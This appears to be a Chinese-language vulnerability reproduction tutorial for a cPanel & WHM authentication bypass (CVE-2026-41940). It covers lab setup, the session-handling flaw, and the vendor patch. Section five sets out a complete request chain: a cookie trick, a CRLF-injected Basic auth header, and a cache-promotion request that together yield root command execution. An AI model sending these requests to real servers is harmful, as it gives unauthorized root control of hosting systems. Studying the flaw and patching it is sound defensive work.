【漏洞复现】cPanel&WHM认证绕过漏洞(CVE-2026-41940)分析
字数 2815
更新时间 2026-05-09 11:40:25

cPanel & WHM 认证绕过漏洞(CVE-2026-41940)分析与复现教学文档

一、漏洞概述

cPanel & WHM 是全球广泛使用的 Linux 服务器控制面板,其认证绕过漏洞(CVE-2026-41940)允许未认证攻击者通过构造特殊请求,完全绕过登录认证机制,直接获取 root/WHM 管理员权限,进而实现远程代码执行(RCE)。

二、受影响版本与修复版本

主版本系列 受影响版本 修复版本
cPanel & WHM 110.0.x 11.110.0.96 11.110.0.97
cPanel & WHM 118.0.x 11.118.0.61 11.118.0.63
cPanel & WHM 126.0.x 11.126.0.53 11.126.0.54
cPanel & WHM 132.0.x 11.132.0.27 11.132.0.29
cPanel & WHM 134.0.x 11.134.0.19 11.134.0.20
cPanel & WHM 136.0.x 11.136.0.4 11.136.0.5

三、环境搭建(以 Ubuntu 24.04 + 11.136.0.4 为例)

1. 环境准备

  • 系统选择:Ubuntu 24.04(推荐海外 VPS,如阿里云,避免依赖拉取失败)。
  • 基础配置
    apt update && apt upgrade -y  
    apt install perl curl wget -y  
    hostnamectl set-hostname malaa.xz.com  # 设置主机名  
    ufw disable  # 关闭防火墙(避免干扰)  
    

2. 锁定漏洞版本

创建版本锁定配置文件,禁止自动更新(否则会升级到修复版本):

cat > /etc/cpupdate.conf << 'EOF'  
CPANEL=11.136.0.4  # 指定漏洞版本  
RPMUP=never        # 禁止 RPM 更新  
SARULESUP=never    # 禁止安全规则更新  
STAGING_DIR=/usr/local/cpanel  
UPDATES=never      # 禁止所有更新  
EOF  

3. 安装 cPanel & WHM

cd /home  
curl -o latest -L https://securedownloads.cpanel.net/latest  # 下载安装脚本  
sh latest  # 执行安装(约 20 分钟)  

安装完成后,使用 SSH 账号密码登录 WHM 后台(默认账号密码与 SSH 一致)。

四、漏洞原理

1. cPanel/WHM 会话机制

  • 会话存储结构
    • 原始会话文件:/var/cpanel/sessions/raw/(格式为 key=value 逐行文本,类似 INI)。
    • JSON 缓存文件:/var/cpanel/sessions/cache/(格式为 JSON,供 loadSession 读取)。
  • Cookie 结构whostmgrsession=<session_name>,<ob_hex>
    • <session_name>:会话标识(如 root:zrHbVJToalM0O6xq)。
    • <ob_hex>:32 位十六进制密钥,用于对 pass 字段加密(Cpanel::Session::Encoder)。

2. 核心漏洞点

(1)Cookie 处理逻辑缺陷

当 Cookie 中仅包含 <session_name>(无 <ob_hex>)时,$ob 变量为空,编码逻辑被跳过,导致 pass 字段以明文写入会话文件

(2)CRLF 注入漏洞

cpsrvd 处理 Basic Authentication 时,pass 字段仅过滤 \0(NUL 字节),未过滤 \n(换行符)。攻击者可构造含换行的 pass,将恶意 key=value 注入会话文件。

(3)认证绕过逻辑

docheckpass_whostmgrd 密码检查函数中,若存在以下会话字段,直接返回认证成功(AUTH_OK),不校验 /etc/shadow 密码

if ( $session_ref->{'successful_internal_auth_with_timestamp'} ) {  
  return AUTH_OK;  
}  

(4)过滤函数缺失

Cpanel/Session.pmfilter_sessiondata 过滤函数仅在 create 时调用,saveSession 未调用该函数,导致注入的恶意数据未被过滤。

五、漏洞复现步骤

1. 构造预认证会话

发送 POST 请求获取未认证的 whostmgrsession Cookie:

POST /login/?login_only=1 HTTP/1.1  
Host: target:2087  
Content-Type: application/x-www-form-urlencoded  

user=root&pass=wrong  # 错误密码,触发未认证会话创建  

响应中会返回 Set-Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_%2c4d257abc371539dfebdf7d3a3e64de0b%3a: 的 URL 编码)。

2. CRLF 注入污染会话文件

构造含换行符的 pass 字段(Base64 编码前),通过 Authorization 头注入恶意会话数据:

  • Base64 解码前的 pass 内容(换行符分隔):
    root:x  
    hasroot=1  
    tfa_verified=1  
    user=root  
    cp_security_token=/cpsess9999999999  
    successful_internal_auth_with_timestamp=1777462149  
    
  • 请求示例
    GET / HTTP/1.1  
    Host: target:2087  
    Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_  # 仅保留 session_name(无 ob_hex)  
    Authorization: Basic cm9vdDp4DQpoYXNyb290PTENCpnRmFfdmVyaWZpZWQ9MQ0KdXNlcj1yb290DQpjcF9zZWN1cml0eV90b2tlbj0vY3BzZXNzOTk5OTk5OTk5DQoNCnN1Y2Nlc3NmdWxfaW50ZXJuYWxfYXV0aF93aXRoX3RpbWVzdGFtcD0xNzc3NDYyMTQ5  
    
    此时 /var/cpanel/sessions/raw/:QSJN_sFdKZtCi2o_ 会话文件会被注入上述 key=value 条目。

3. 提升会话数据到 JSON 缓存

访问需要 cp_security_token 的受保护接口(如 /scripts2/listaccts),触发 check_security_token 失败,调用 Cpanel::Session::Modify->save(),将 raw 会话文件中的数据同步到 JSON 缓存:

GET /scripts2/listaccts HTTP/1.1  
Host: target:2087  
Cookie: whostmgrsession=%3aQSJN_sFdKZtCi2o_  

响应会返回 401 Token Denied,但此时 JSON 缓存已更新,注入的 successful_internal_auth_with_timestamp 等字段生效。

4. 认证绕过与 RCE

此时已绕过认证,可直接访问 WHM 后台任意接口。利用后台 Terminal 功能(默认以 root 权限运行),执行任意命令:

whoami  # 输出 root  
id       # 输出 uid=0(root) gid=0(root) groups=0(root)  

六、修复措施

官方在修复版本中,对 saveSession 函数添加了 filter_sessiondata 过滤,并对 pass 字段强制加密:

sub saveSession {  
  my ( $session, $session_ref, %options ) = @_;  
  ...  
  filter_sessiondata($session_ref);  # 新增:过滤会话数据(含换行符)  
  if ( length $session_ref->{'pass'} ) {  
    if ( defined $ob && length $ob ) {  
      my $encoder = Cpanel::Session::Encoder->new( 'secret' => $ob );  
      $session_ref->{'pass'} = $encoder->encode_data( $session_ref->{'pass'} );  # 加密 pass  
    } else {  
      $session_ref->{'pass'} = 'no-ob:' . Cpanel::Session::Encoder->hex_encode_only( $session_ref->{'pass'} );  
    }  
  }  
  ...  
}  

七、参考资料

  1. Watchtowr 漏洞分析报告:https://labs.watchtowr.com/the-internet-is-falling-down-falling-down-falling-down-cpanel-whm-authentication-bypass-cve-2026-41940/
  2. Watchtowr PoC:https://github.com/watchtowrlabs/watchTowr-vs-cPanel-WHM-AuthBypass-to-RCE.py
  3. W4ter 改进 PoC:https://github.com/waterrr/cPanel-WHM-AuthBypass-to-RCE.py/blob/main/rce.py
相似文章
相似文章
 全屏